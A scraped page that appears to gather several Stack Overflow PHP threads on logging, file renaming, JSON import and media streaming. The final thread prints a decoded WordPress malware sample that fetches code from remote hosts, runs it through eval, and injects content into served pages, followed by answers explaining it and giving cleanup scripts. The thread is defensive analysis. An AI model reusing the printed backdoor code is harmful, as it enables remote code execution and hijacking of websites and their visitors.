CodeIgniter 4 output all the log file into stdout - php

Is there is a way to output all the log files into the stdout in codeIgniter4?

First, go to system\Log\Handlers\FileHandler.php
In the function handle, add this file_put_contents('php://stdout', $msg);
at line 138.
You will start seeing the log at the stdout.
The function handle in FileHandler.php
public function handle($level, $message): bool
{
$filepath = $this->path . 'log-' . date('Y-m-d') . '.' . $this->fileExtension;
$msg = '';
if (! is_file($filepath))
{
$newfile = true;
// Only add protection to php files
if ($this->fileExtension === 'php')
{
$msg .= "<?php defined('SYSTEMPATH') || exit('No direct script access allowed'); ?>\n\n";
}
}
if (! $fp = #fopen($filepath, 'ab'))
{
return false;
}
// Instantiating DateTime with microseconds appended to initial date is needed for proper support of this format
if (strpos($this->dateFormat, 'u') !== false)
{
$microtime_full = microtime(true);
$microtime_short = sprintf('%06d', ($microtime_full - floor($microtime_full)) * 1000000);
$date = new \DateTime(date('Y-m-d H:i:s.' . $microtime_short, $microtime_full));
$date = $date->format($this->dateFormat);
}
else
{
$date = date($this->dateFormat);
}
$msg .= strtoupper($level) . ' - ' . $date . ' --> ' . $message . "\n";
file_put_contents('php://stdout', $msg);
flock($fp, LOCK_EX);
for ($written = 0, $length = strlen($msg); $written < $length; $written += $result)
{
if (($result = fwrite($fp, substr($msg, $written))) === false)
{
// if we get this far, we'll never see this during travis-ci
// #codeCoverageIgnoreStart
break;
// #codeCoverageIgnoreEnd
}
}
flock($fp, LOCK_UN);
fclose($fp);
if (isset($newfile) && $newfile === true)
{
chmod($filepath, $this->filePermissions);
}
return is_int($result);
}
//--------------------------------------------------------------------
}

Related

How to rename zipped filename?

So i have code to move from 1 dir to another dir file and make that file zipped.
That i need:
Rename zipped filename to second "-" symbol.
Example: i got zipped filename "SOMETEXT-de_dust2-20123323.dem.zip". I need that filename to be only "SOMETEXT.dem.zip"
So just remove all text until second -"-"
Any suggestion?
Thanks for helping me to understand code :)
My CODE:
<?php
//error_reporting(E_ALL);
//set_time_limit(0);
$path = "MIX1/cstrike";
$path2 = "/var/www/html/public/";
$to_dirs = array('/demos/');
$from_dirs = array('/demos/');
$filesizes = array();
//первый проход запоминаем размеры
foreach($from_dirs as $from_dir)
{
$demos_dir = opendir($path.$from_dir);
while (false!==($file=readdir($demos_dir)))
{
if ($file!='.'&&$file!='..'&&strpos($file,'.dem')!==false)
{
$fsize=filesize($path.$from_dir.$file);
if ($fsize<50000000)
{
$filesizes[$file]=$fsize;
}
else{
// echo "<br/>bad file:",$file, ", size = ", $fsize;
}
}
}
closedir($demos_dir);
}
//echo date("h:i:s");
sleep(3);
clearstatcache ();
//второй проход пермещаем
$i=0;
foreach($from_dirs as $from_dir)
{
$to_dir=$from_dirs[$i];
$demos_dir = opendir($path.$from_dir);
while (false!==($file=readdir($demos_dir)))
{
if ($file!='.'&&$file!='..'&&strpos($file,'.dem')!==false)
{
$fsize=0;
$fsize=filesize($path.$from_dir.$file);
if ($fsize<50000000)
{
if ($fsize==$filesizes[$file])
{
//echo "<br>ѕеремещаем файл ",$file," размер не изменилс¤; было ",$filesizes[$file]," стало, ".$fsize,";";
move_demo($file, $from_dir, $to_dir);
}
else
{
//echo "<br>","размер изменилс¤ у файла ", $file;
}
}
else
{
//echo "<br/>bad file:",$file, ", size = ", $fsize;
}
}
}
$i++;
closedir($demos_dir);
}
function move_demo($filename, $from_dir, $to_dir)
{
//echo $filename,"from ",$from_dir," to ",$to_dir,"<br>";
global $path, $path2;
if (file_exists($path2.$to_dir.$filename.".zip"))
unlink($path2.$to_dir.$filename.".zip");
echo "$path$from_dir$filename\n";
echo "$path2$to_dir$filename\n\n";
$data = file_get_contents($path.$from_dir.$filename);
$gzdata = gzencode($data, 9);
unset($data);
$fp = fopen($path2.$to_dir.$filename.".zip", "xb+");
//$fp = fopen($path.$to_dir.$filename.".zip")
fwrite($fp, $gzdata);
unset($gzdata);
fclose($fp);
unlink($path.$from_dir.$filename);
}
?>
Have a look at rename().
Here's a PoC:
function move_files($src, $dst)
{
$dh = opendir($src);
if (!$dh) {
return false;
}
// Combine the letters before the first dash/hyphen (-),
// and the letters after (and including) the first dot/period (.)
// after the first dash/hyphen (-).
$regex = '/^(.+?)-(?:.+?)(\..+?\.zip)$/';
$moved = 0;
$total = 0;
while (($filename = readdir($dh)) !== false) {
if (filetype("{$src}{$filename}") !== 'file') {
continue;
}
if (!preg_match($regex, $filename)) {
continue;
}
$total++;
$new_filename = preg_replace($regex, "$1$2", $filename);
$moved += (int)rename($src, "{$dst}{$new_filename}");
}
closedir($dh);
return [$moved, $total];
}
$srcDir = '/src/';
$dstDir = '/dst/';
$res = move_files($src, $dst);
if (!$res) {
// Error
}
list($moved, $total) = $res;
var_dump($moved, $total);

PHP, read line by line, not working

I have this code. The idea with it, is that i reads a big(very big: 300mb) JSON file, line by line and set the JSON data into an SQL table. But the same line of JSON data gets inserted more than once, and after the PHP script has been through all lines, it just starts over.
There is 200268 objects in the JSON file, seperated in lines
Here is my code:
example.php:
<?php
/**
* Licensed under Creative Commons 3.0 Attribution
* Copyright Adam Wulf 2013
*/
include("config-sample.php");
include("include.classloader.php");
$classLoader->addToClasspath(ROOT);
$mysql = new MySQLConn(DATABASE_HOST, DATABASE_NAME, DATABASE_USER, DATABASE_PASS);
$db = new JSONtoMYSQL($mysql);
$handle = fopen("programoversigter.json", "r");
if ($handle) {
while (($linne = fgets($handle)) !== false) {
$db->save(json_decode($linne)->_source, "igen");
print($iasd . " ");
$iasd = $iasd++;
}
fclose($handle);
} else {
echo "assscsad";
}
die();
?>
include.classloader.php:
<?php
/**
* Licensed under Creative Commons 3.0 Attribution
* Copyright Adam Wulf 2013
*/
class ClassLoader{
protected $classpath;
public function __construct(){
$this->classpath = array();
}
public function addToClasspath($dir){
if(is_dir($dir)){
$this->classpath[] = $dir;
}else{
throw new Exception("cannot find directory: $dir");
}
}
public function load($classname){
$ok = false;
for($i=0;$i<count($this->classpath);$i++){
$path = $this->classpath[$i];
/* echo "load recur \"" . $path . "\";//<br>\n"; */
$ok = $ok || $this->load_recursive($path, $classname);
}
return $ok;
}
protected function load_recursive($classpath, $classname){
$theList = array();
$ret = false;
if ($handle = opendir($classpath)) {
while (false != ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($classpath . $file)){
$ret = $ret || $this->load_recursive($classpath . $file . "/", $classname);
}else{
if($file == "class.$classname.php"){
include_once $classpath . $file;
$ret = true;
/* echo "include_once \"" . $classpath . $file . "\";//<br>\n"; */
}else
if($file == "class.Boolean.$classname.php"){
include_once $classpath . $file;
$ret = true;
/* echo "include_once \"" . $classpath . $file . "\";//<br>\n"; */
}else
if($file == "interface.$classname.php"){
include_once $classpath . $file;
$ret = true;
/* echo "include_once \"" . $classpath . $file . "\";//<br>\n"; */
}
}
}
}
closedir($handle);
unset($handle);
}
return $ret;
}
public function loadTestFiles(GroupTest $g){
foreach($this->classpath as $c){
$this->loadTestFilesHelper($g, $c);
}
}
protected function loadTestFilesHelper(GroupTest $g, $classpath){
$theList = array();
if ($handle = opendir($classpath)) {
while (false != ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($classpath . $file)){
$this->loadTestFilesHelper($g, $classpath . $file . "/");
}else{
if(strpos($file, "test.class.") === 0 &&
strpos($file, ".php") == strlen($file)-4){
$g->addTestFile($classpath . $file);
}
}
}
}
closedir($handle);
unset($handle);
}
}
}
class ClassLoaderToString extends ClassLoader{
public function __construct(){
parent::__construct();
}
protected function load_recursive($classpath, $classname){
$theList = array();
$ret = false;
if ($handle = opendir($classpath)) {
while (false != ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($classpath . $file)){
$this->load_recursive($classpath . $file . "/", $classname);
}else{
if($file == "class.$classname.php"){
include_once $classpath . $file;
$this->printClass($classpath, $file);
$ret = true;
}else
if($file == "class.Boolean.$classname.php"){
include_once $classpath . $file;
$this->printClass($classpath, $file);
$ret = true;
}else
if($file == "interface.$classname.php"){
include_once $classpath . $file;
$this->printClass($classpath, $file);
$ret = true;
}
}
}
}
closedir($handle);
unset($handle);
}
return $ret;
}
protected function printClass($classpath, $file){
if(strpos($classpath, ROOT) === 0){
$classpath = substr($classpath, strlen(ROOT));
echo "include_once(ROOT . \"" . $classpath . $file . "\");\n";
}else{
echo "include_once(\"" . $classpath . $file . "\");\n";
}
}
}
function milestone_autoload($classname){
global $classLoader;
// global $control;
// $str = "classname: ";
// $str .= $classname;
// $str .= "\n";
// if(is_object($control) && !is_int(stripos($classname, "mysql"))){
// $control->getModel()->getLogger()->log($control->getModel(), ALogger::$HIGH, $str);
// }
try{
$ok = $classLoader->load($classname);
// $str .= ":" . $ok;
// if(is_object($control) && !is_int(stripos($classname, "mysql"))){
// $control->getModel()->getLogger()->log($control->getModel(), ALogger::$HIGH, $str);
// }
}catch(Exception $e){
$model->getLogger()->log($model, ALogger::$HIGH, print_r($e, true));
}
}
spl_autoload_register('milestone_autoload');
$classLoader = new ClassLoader();
?>

HTTP range, streaming, music and audio

I have a website which I use to stream audio files.
Mainly, MP3 & OGG.
Since few months, I handle myself (PHP) the steaming part (before it was apache2). First I do a normal 200 OK response with sliced binary response of my multimedia audio files (for memory allocation).
It's working fine, but I got the Infinity duration on all my audio.
According to this question, I have updated yesterday the streaming part.
And now, I have one of the strangest bug I could imagine. My refactor of code works really fine with MP3 but not with OGG... Images, or zip download also works with the class above, and they both work fine as before.
Here is my Stream class.
<?php
class Stream extends Response
{
protected $filepath;
protected $delete;
protected $range = ['from' => 0, 'to' => null];
public function __construct($filePath, $delete = false, $range = NULL)
{
$this->delete = $delete;
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $filePath);
$size = filesize($filePath);
$this->headers['Content-Type'] = $mimeType;
$this->headers['Content-Length'] = $size;
$this->headers['Accept-Ranges'] = 'bytes';
$this->headers['Content-Transfer-Encoding'] = 'binary';
unset($finfo, $mimeType);
$this->code = 200;
$this->range['to'] = $size - 1;
if ($range !== NULL) {
if (preg_match('/^bytes=\d*-\d*(,\d*-\d*)*$/i', $range) === false) {
$this->code = 416;
} else {
$ranges = explode(',', substr($range, 6));
foreach ($ranges as $rangee) {
$parts = explode('-', $rangee);
$this->range['from'] = intval($parts[0]);
$this->range['to'] = intval($parts[1]);
if (empty($this->range['to'])) {
$this->range['to'] = $size - 1;
}
if ($this->range['from'] > $this->range['to'] || $this->range['to'] >= $size) {
$this->code = 416;
}
}
$this->code = 206;
}
}
if ($this->code === 416) {
$this->headers = ['Content-Range' => 'bytes */{' . $size . '}'];
} elseif ($this->code === 206) {
$this->headers['Content-Range'] = 'bytes {' . $this->range['from'] . '}-{' . $this->range['to'] . '}/{' . $size . '}';
}
$this->filepath = $filePath;
}
public function show()
{
http_response_code($this->code);
foreach ($this->headers as $header => $value) {
header($header . ': ' . $value);
}
$file = fopen($this->filepath, 'r');
fseek($file, $this->range['from']);
$interval = $this->range['to'] - $this->range['from'];
$outputBufferInterval = 4 * 1000;
if ($interval < $outputBufferInterval) {
$outputBufferInterval = $interval;
}
ob_start();
while ($interval > 0) {
echo fread($file, $outputBufferInterval);
$interval -= $outputBufferInterval;
ob_flush();
}
fclose($file);
ob_end_clean();
if ($this->delete) {
unlink($this->filepath);
}
}
}
I am little confused with HTTP_RANGE.
Thank you,

Php download and stream video at the same time

I'm tying to make a php script to sownload video from youtube and stream it at the same time and this is my code ..
ini_set('max_execution_time', 0);
ini_set('memory_limit', '512M');
$vid_id = $_GET['vidId'];
if (!file_exists('../cache_files/youtube/' . $vid_id . '.mp4')) {
$vid_info = file_get_contents('https://www.youtube.com/get_video_info?video_id=' . $vid_id);
parse_str($vid_info);
$Array = explode(',', $url_encoded_fmt_stream_map);
foreach ($Array as $item) {
parse_str($item);
$format = trim(substr($type, 0, strpos($type, ';')));
if ($format = 'video/mp4' && $quality == 'medium') {
download($url, $vid_id);
break;
} else {
echo $reason;
}
}
} else {
ob_clean();
flush();
readfile('../cache_files/youtube/' . $vid_id . '.mp4');
exit;
}
function download($infile, $outfile)
{
$chunksize = 100 * (1024 * 1024);
$parts = parse_url($infile);
$i_handle = fsockopen($parts['host'], 80, $errstr, $errcode, 5);
$o_handle = fopen('../cache_files/youtube/' . $outfile . '.mp4', 'wb');
if ($i_handle == false || $o_handle == false) {
return false;
}
if (!empty($parts['query'])) {
$parts['path'] .= '?' . $parts['query'];
}
$request = "GET {$parts['path']} HTTP/1.1\r\n";
$request .= "Host: {$parts['host']}\r\n";
$request .= "User-Agent: Mozilla/5.0\r\n";
$request .= "Keep-Alive: 115\r\n";
$request .= "Connection: keep-alive\r\n\r\n";
fwrite($i_handle, $request);
$headers = array();
while (!feof($i_handle)) {
$line = fgets($i_handle);
if ($line == "\r\n")
break;
$headers[] = $line;
}
$length = 0;
foreach ($headers as $header) {
if (stripos($header, 'Content-Length:') === 0) {
$length = (int) str_replace('Content-Length: ', '', $header);
break;
}
}
$cnt = 0;
while (!feof($i_handle)) {
$buf = '';
echo $buf = fread($i_handle, $chunksize);
$bytes = fwrite($o_handle, $buf);
if ($bytes == false) {
return false;
}
$cnt += $bytes;
if ($cnt >= $length)
break;
}
fclose($i_handle);
fclose($o_handle);
if (file_exists('../cache_files/youtube/' . $outfile . '.mp4')) {
if (!filesize('../cache_files/youtube/' . $outfile . '.mp4') > 1024) {
unlink('../cache_files/youtube/' . $outfile . '.mp4');
}
}
return $cnt;
}
i use it like this
<video controls autoplay>
<source src='http://127.0.0.1/youtube.video.grabber.php?vidId=BYi7Lc2aclY'>
</video>
the "youtube.video.grabber.php" file now should start downloading the file to my disk and stream it to the client at the same time and it works but i can't move the video to the forward or the backward so i need to add some headers to this code like partial content and some other headers and here's the problem after adding the headers to the code it stops and won't work again .. so i wanna know how to add those headers to the this code or if you have a better solution to download and stream the file at the same time with the ability to move the video to the backward or the forward i will be grateful if you told me how .. thanks and sorry about my bad english

What exactly does this PHP exploit code (found on my app)?

I've found this code in base 64 on all php files of one of my client's site (wordpress) and I'm trying to understand what it does.
I'm also trying to figure out if it was an application exploit or a direct FTP access that has past this code.
Everything starts with setup_globals_777() and ob_start('mrobh') setting the callback to the mrobh($content) function.
Then there are a call to gzdecodeit ($decode) where the hassle starts out.
It seems like it gets the page content and change it. Now I'm trying to detect the specific changes and understand all functions, including the second one gzdecodeit().
Can someone shed some light on it?
The calls
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
The callback:
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
$decoded_content);
} else {
return $decoded_content . gml_777();
}
}
The setup function (understandable)
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
The first function called after the callback execution:
Here is where the magic happens. I can't see the calls for the other
available functions and understand what this function is actually
decoding, since the $decode var is the application output grabbed by
the ob_start()
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
All the available functions (after a base64_decode()):
<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (! function_exists('mrobh')) {
function get_tds_777 ($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777 ($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777 ($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777 ($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777 ($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (! $f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function trysocket_777 ($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (! #socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777 ()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777 ($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777 ($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
if (! function_exists('gml_777')) {
function gml_777 ()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '';
return $r_string_777;
}
}
if (! function_exists('gzdecodeit')) {
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si',
gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
}
}
Looks like it creates a hidden .log folder:
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
Then seems to download code from http://www.lolypopholypop.com/g_load.php and http://sweepstakesandcontestsdo.com/, base64 decodes it, then executes it:
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
So without having to access your server again, they can execute different code.
Dan Hill wrote an article about getting base64 hacked for WordPress installations.
To quote the results of Dan's findings:
The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.
To get rid of the problem, Dan tried the following:
I did this in three stages. First, find any world-writable directories (tsk tsk):
find . -type d -perm -o=w
And make them not world writable:
find . -type d -perm -o=w -print -exec chmod 770 {} \;
Delete all the new files these guys created:
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
(In wordpress, the uploads folder shouldn’t contain any PHP)
Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:
#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
puts f
begin
contents = File.read(f)
contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")
File.open(f, 'w') {|f| f.write(contents) }
rescue
puts "FILE ERROR"
end
end
The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.
Hope Dan's findings help!
For those searching for a non-Ruby fix, here's a PHP version of Dan Hill's code:
<?php
function fileExtension($filename) {
$pathInfo = pathinfo($filename);
return strtolower($pathInfo['extension']);
}
function fixFiles($path) {
$path = str_replace('././', './', $path);
$d = #opendir($path);
if ($d) {
while (($entry = readdir($d)) !== false) {
$baseEntry = $entry;
$entry = str_replace('././', './', $path . '/' . $entry);
if ($baseEntry != '.' && $baseEntry != '..') {
if (is_file($entry)) {
$fe = fileExtension($entry);
if ($fe == 'php') {
$contents = file_get_contents($entry);
$contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);
$f = fopen($entry, 'w');
fputs($f, $contents);
fclose($f);
echo $entry . '<br>';
flush();
}
}
else if (is_dir($entry)) {
fixFiles($path . '/' . basename($entry));
}
}
}
closedir($d);
}
}
fixFiles('.');
?>

Categories